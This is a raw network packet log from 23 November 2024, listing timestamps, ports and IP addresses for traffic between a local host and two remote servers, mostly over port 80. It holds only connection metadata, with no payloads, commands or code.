Nov 23, 2024 03:21:11.384490013 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.384533882 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.384572983 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.384617090 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.385607004 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.385651112 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.385721922 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.385765076 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.386758089 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.386804104 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.386868000 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.386913061 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.387893915 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.387937069 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.387993097 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.388036966 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.389040947 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.389106989 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.389143944 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.389189005 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.390166044 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.390209913 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.390274048 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.390315056 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.391324997 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.391367912 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.391446114 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.391488075 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.392465115 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.392507076 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.392570019 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.392613888 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.393600941 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.393651009 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.393688917 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.393731117 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.394750118 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.394793987 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.394840956 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.394885063 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.395872116 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.395915031 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.395961046 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.396003962 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.397032976 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.397077084 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.397084951 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.397123098 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.398161888 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.398205996 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.398310900 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.398353100 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.399291992 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.399358034 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.399396896 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.399440050 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.400429010 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.400475025 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.400532961 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.400583029 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.401586056 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.401632071 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.401695967 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.401740074 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.402694941 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.402741909 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.402815104 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.402858019 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.403855085 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.403898954 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.403965950 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.404009104 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.404984951 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.405062914 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.405096054 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.405143976 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.406148911 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.406191111 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.406244040 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.406287909 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.407264948 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.407309055 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.407381058 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.407423973 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.408392906 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.408436060 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.408512115 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.408555031 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.409548998 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.409611940 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.409643888 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.409686089 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.410687923 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.410726070 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.410785913 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.410829067 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.411828041 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.411873102 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.411967993 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.412023067 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.412955046 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.413001060 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.413077116 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.413120031 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.414092064 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.414134026 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.414201975 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.414237022 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.415231943 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.415271997 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.415327072 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.415370941 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.416373014 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.416414976 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.416485071 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.416526079 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.417526960 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.417568922 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.417658091 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.417699099 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.418682098 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.418724060 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.418757915 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.418797016 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.419779062 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.419836998 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.419907093 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.419948101 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.420923948 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.420974970 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.421040058 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.421081066 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.422077894 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.422121048 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.422194958 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.422238111 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.423204899 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.423252106 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.423321962 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.423365116 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.424339056 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.424382925 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.424446106 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.424488068 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.425474882 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.425517082 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.425559998 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.425600052 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.426636934 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.426681042 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.426727057 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.426769018 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.427759886 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.427803993 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.427871943 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.427911997 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.428932905 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.428976059 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.429032087 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.429075003 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.430037022 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.430097103 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.430135012 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.430180073 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.431174040 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.431225061 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.431265116 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.431305885 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.432307959 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.432358027 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.432411909 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.432452917 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.433445930 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.433490038 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.433554888 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.433598042 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.434597015 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.434640884 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.434700966 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.434746027 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.435704947 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.435753107 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.435815096 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.435862064 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.436860085 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.436903954 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.436964989 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.437006950 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.437939882 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.437995911 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.510893106 CET	443	49762	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:11.511358023 CET	49762	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:11.511389971 CET	443	49762	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:11.511786938 CET	49762	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:11.511792898 CET	443	49762	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:11.557214022 CET	443	49763	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:11.557673931 CET	49763	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:11.557704926 CET	443	49763	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:11.558088064 CET	49763	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:11.558099985 CET	443	49763	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:11.570039034 CET	443	49761	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:11.570197105 CET	443	49761	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:11.570261002 CET	49761	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:11.570333004 CET	49761	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:11.570363998 CET	443	49761	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:11.570389032 CET	49761	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:11.570403099 CET	443	49761	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:11.573039055 CET	49766	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:11.573077917 CET	443	49766	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:11.573156118 CET	49766	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:11.573292017 CET	49766	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:11.573298931 CET	443	49766	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:11.579675913 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.579760075 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.579838037 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.580245972 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.580301046 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.580331087 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.580374002 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.581376076 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.581422091 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.581510067 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.581556082 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.582499027 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.582542896 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.582614899 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.582659960 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.583626032 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.583673000 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.583713055 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.583753109 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.584753036 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.584799051 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.584836960 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.584882021 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.585906982 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.585959911 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.586014986 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.586057901 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.587023973 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.587069988 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.587135077 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.587178946 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.588175058 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.588219881 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.588284016 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.588327885 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.589298964 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.589343071 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.589413881 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.589456081 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.590480089 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.590528965 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.590604067 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.590650082 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.591619015 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.591664076 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.591705084 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.591742992 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.592741966 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.592789888 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.592853069 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.592899084 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.593874931 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.593925953 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.593969107 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.594017982 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.595010996 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.595056057 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.595125914 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.595171928 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.596206903 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.596255064 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.596260071 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.596304893 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.597290993 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.597356081 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.597448111 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.597493887 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.598433018 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.598481894 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.598548889 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.598594904 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.599543095 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.599589109 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.599668026 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.599713087 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.600708961 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.600756884 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.600822926 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.600869894 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.601843119 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.601890087 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.601969004 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.602015018 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.602988005 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.603040934 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.603075027 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.603118896 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.604130030 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.604178905 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.604237080 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.604285955 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.605243921 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.605288982 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.605355978 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.605400085 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.606447935 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.606493950 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.606527090 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.606570959 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.607534885 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.607599020 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.607633114 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.607673883 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.608661890 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.608715057 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.608786106 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.608833075 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.609819889 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.609878063 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.609915972 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.609961033 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.610974073 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.611020088 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.611053944 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.611097097 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.612080097 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.612127066 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.612164974 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.612209082 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.613219023 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.613262892 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.613327026 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.613365889 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.614360094 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.614404917 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.614480019 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.614521980 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.615499020 CET	80	49760	31.41.244.11	192.168.2.4
